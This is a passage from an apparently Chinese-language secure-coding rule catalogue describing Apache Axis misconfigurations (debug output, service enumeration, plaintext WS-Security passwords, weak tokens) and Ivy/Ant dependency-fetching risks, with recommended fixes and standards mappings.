[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis Misconfiguration: Debug Information
ABSTRACT
调试信息可帮助攻击者了解系统并规划攻击方式。
EXPLANATION
在服务器的配置文件中,若将 axis.development.system 设为 true,该系统将像开发环境一样运行。它会在 SOAP 响应中发送堆栈跟踪信息,可能会泄漏系统或应用程序的相关信息。
RECOMMENDATIONS
在服务器配置文件中,将 axis.development.system 参数设为 false。 例如:
1 | <parameter name="axis.development.system" value="false"/> |
REFERENCES
[1] Axis Reference Guide Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 215
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Axis Misconfiguration: Service Enumeration
ABSTRACT
公开披露与服务有关的信息,可让攻击者了解如何利用该服务的重要信息。
EXPLANATION
若将 axis.disableServiceList 设为 false,Apache Axis 会在对 servlet 根执行 GET 时返回可用服务的列表。此服务列表可能包含不应公开访问的功能列表。
RECOMMENDATIONS
最低限度是,只允许可信赖的用户访问此服务列表,且确保不披露非必需的服务。不过,建议您禁用同时列出所有服务的功能。
下列配置显示了如何防止列出服务:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Axis Reference Guide Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 651
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II, APSC-DV-001870 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Axis Service Provider Misconfiguration: Plain Text Password
ABSTRACT
避免使用 WS-Security 密码类型 PasswordText。
EXPLANATION
使用 PasswordText 密码类型,可能表示实际密码是以明文发送的。WS-Security UsernameToken 配置文件指明 UsernameToken <Password>
标签中发送的文本不限于实际密码。它们还可能是派生的密码。然而,开发人员通常发送的是实际密码而不是派生的密码。发送未经加密的密码或密码散列值,都会将凭证泄漏给可以截取信息流的任何人。
RECOMMENDATIONS
采用 PasswordDigest 密码类型,确保凭证在发送时已加密。采用 HTTPS 协议发送 SOAP 消息能确保凭证得到强大的加密技术保护,但是如果采用多种传输方式转发消息,更好的选择是使用 WS-Security 对消息自身进行加密。
下面提供了服务提供程序配置,密码类型设为 PasswordDigest。
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Web Services Security Username Token Profile 1.0 OASIS
[2] Standards Mapping - Common Weakness Enumeration CWE ID 522
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis Service Provider Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
使用 UsernameToken 的服务提供程序可能会接受以明文形式发送的密码。若通过未经加密的通道发送明文密码,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 Axis 服务提供程序配置使用了此 UsernameToken:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
RECOMMENDATIONS
要求使用签名,而不是 UsernameToken。下面提供了一个配置示例:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Web Services Security: SOAP Message Security 1.1 OASIS
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis Service Requester Misconfiguration: Plain Text Password
ABSTRACT
避免使用 WS-Security 密码类型 PasswordText。
EXPLANATION
使用 PasswordText 密码类型,可能表示实际密码是以明文发送的。WS-Security UsernameToken 配置文件指明 UsernameToken <Password>
标签中发送的文本不限于实际密码。它们还可能是派生的密码。然而,开发人员通常发送的是实际密码而不是派生的密码。发送未经加密的密码或密码散列值,都会将凭证泄漏给可以截取信息流的任何人。
RECOMMENDATIONS
采用 PasswordDigest 密码类型,确保凭证在发送时已加密。采用 HTTPS 协议发送 SOAP 消息能确保凭证得到强大加密技术的保护,但如果消息将采用多种传输方式进行转发,更好的选择是使用 WS-Security 对消息自身进行加密。
下面提供了客户端配置,密码类型设为 PasswordDigest。
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Web Services Security Username Token Profile 1.0 OASIS
[2] Standards Mapping - Common Weakness Enumeration CWE ID 522
[3] Standards Mapping - FIPS200 MP
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[7] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[8] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis Service Requester Misconfiguration: Weak Token
ABSTRACT
若在未经加密的通道上使用 UsernameToken 及明文密码,则可截取 SOAP 消息的攻击者会趁机获取该密码。
EXPLANATION
若通过未经加密的通道发送明文密码或密码散列值,则可截取 SOAP 消息的攻击者会趁机获取凭证。
下列 Axis 客户端配置使用了此 UsernameToken:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
RECOMMENDATIONS
如果服务提供程序提供支持,则使用签名而非 UsernameToken。下面提供了一个配置示例:
1 | <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> |
REFERENCES
[1] Web Services Security: SOAP Message Security 1.1 OASIS
[2] Web Services Security Username Token Profile 1.0 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 311
[4] Standards Mapping - FIPS200 MP
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[8] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[9] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.8, Requirement 8.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.3, Requirement 8.2.1
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260.1 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3330 CAT I, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000220 CAT II, APSC-DV-001750 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Build Misconfiguration: Dynamic Dependency Version Usage
ABSTRACT
用一个动态版本检索编译 dependency 会使 build system 易受恶意二进制码的侵害,或者造成系统发生意外行为。
EXPLANATION
利用 Apache Ivy 自动化的 dependency 管理系统,用户能够为 dependency 指定一种称为动态修订的版本状态,而不是列出特定版本。如果攻击者能够危害 dependency 存储库,或哄骗 build system 从攻击者所控制的一个存储库下载 dependency,那么,build system 可能唯一做的就是不经任何提示地下载一个动态修订说明符,并运行受到危害的 dependency。除了安全上的风险以外,动态修订还会为 code quality 引入了一种额外的风险因素:动态修订使软件的安全性和稳定性受控于第三方,即,在开发和发布软件所使用的 dependency 的那一方。
在编译过程中,Ivy 将连接到存储库,并尝试检索与所列状态匹配的 dependency。
Ivy 接受下面的动态修订说明符:
latest.integration:选择 dependency 模块的最新修订版。
latest.[any status]:选择至少处于指定状态的 dependency 模块的最新修订版。例如,latest.milestone 会选择最新版本,要么是一个重要的修订版本,要么是一个发布版。而 latest.release 只会选择最新发布版。
任何以 + 结束的修订:选择 dependency 模块的最新子修订。例如,如果 dependency 存在于修订版 1.0.3、1.0.7 和 1.1.2 中,则指定为 1.0.+ 的修订版将选择修订版 1.0.7。
版本范围:表示范围的数学符号,例如 < 和 >,可以用来匹配一个版本范围。
例 1:下面的配置项将指示 Ivy 检索 clover 组件的最新发布版本:
1 | <dependencies> |
如果存储库受到危害,攻击者就很容易上传一个符合动态标准的版本,从而造成 Ivy 下载一个恶意的 dependency 版本。
RECOMMENDATIONS
为降低安全风险,请始终列出每项 dependency 的一个特定版本。如果不这样做,就会将不一致风险引入系统(没有一种快捷的方法可以指出哪个 dependency 版本会被合并到发布版中)。
1 | <dependencies> |
REFERENCES
[1] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[2] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[3] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[4] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001390 CAT II, APSC-DV-001430 CAT II, APSC-DV-001440 CAT II, APSC-DV-003300 CAT II
Build Misconfiguration: External Ant Dependency Repository
ABSTRACT
这一 Ant 编译脚本依赖于外部数据源,这会导致攻击者能够将恶意代码插入最终产品中,或者控制编译计算机。
EXPLANATION
Java 开发环境内存在的几个工具能够辅助 dependency 管理:Apache Ant 和 Apache Maven 两种 build system 都包含专门用来帮助管理 dependency 的功能,Apache Ivy 被明确作为 dependency 管理器来部署。尽管这些工具在行为方式上存在差异,但它们都有一种通用的功能,即会自动下载在编译过程中指定的外部 dependency。这样一来,两个不同的开发人员用同一种方式来编译软件就容易得多。开发人员只需在编译文件中存储 dependency 信息,这意味着每个开发人员和编译工程师都通过同一种方式来获得 dependency、编译代码以及进行部署,而不需要进行混乱的手动 dependency 管理。以下的例子演示了如何使用 Ivy、Ant 和 Maven 作为编译过程的一部分来管理外部 dependency。
开发人员用一项 <get>
任务,在一个 Ant 目标中指定了外部 dependency,以检索由相应 URL 指定的 dependency。这个方法与以下情形在功能上是等效的:开发人员证明每一项外部 dependency 为软件项目中附带的一项内容,但却是非常必要的,因为它可以在执行编译时自动提取和合并 dependency。
示例:以下内容摘自 Ant build.xml 配置文件,这些内容显示了对某一外部 dependency 的典型引用方式:
1 | <get src="http://people.apache.org/repo/m2-snapshot-repository/org/apache/openejb/openejb-jee/3.0.0-SNAPSHOT/openejb-jee-3.0.0-SNAPSHOT.jar" |
两种截然不同的攻击情形会影响这些系统:攻击者可能会危害托管 dependency 的服务器,也可能危害 DNS 服务器,编译计算机用它将对托管 dependency 的服务器主机名的请求重定向到被攻击者控制的计算机。这两种攻击情形都会导致攻击者能够将恶意的 dependency 版本注入到一个未受到危害的计算机上所运行的编译中。
不管攻击者用来投递 Trojan dependency 的攻击手段是什么,这些情形均存在一种共同的因素,即 build system 盲目地接受恶意二进制码并且将其包含在编译中。因为 build system 无法拒绝恶意的二进制码和现有安全机制(如代码审查),所以通常会关注内部开发地代码而不是外部 dependency,这种攻击深潜于内部,不易察觉,它会传播到开发环境各处并有可能传入产品中。
虽然手动编译过程中存在一定的 dependency 受到危害的风险,但是由于自动化 build system 存在从一个外部数据源检索 dependency 的趋势,每当 build system 运行在新环境下时,会大大增加攻击者的攻击机会。攻击者只需在 dependency 服务器或 DNS 服务器多次提取 dependency 时造成一次危害,即会危害发生编译的计算机。
RECOMMENDATIONS
最简单的解决方法是完全避免采用自动化 dependency 管理系统。手动管理 dependency 排除了由 build system 引起意外行为这一潜在危害。很显然,攻击者仍然能针对 dependency 手动检索发动上述攻击之一,但限制 dependency 的检索频率会大大减小攻击者的攻击机会。最终,这个解决方法会致使开发组织依赖于一个看起来陈旧的 build system。基于手动 dependency 管理的系统通常更难以使用和维护,并且在一些软件开发环境中可能不被接受。
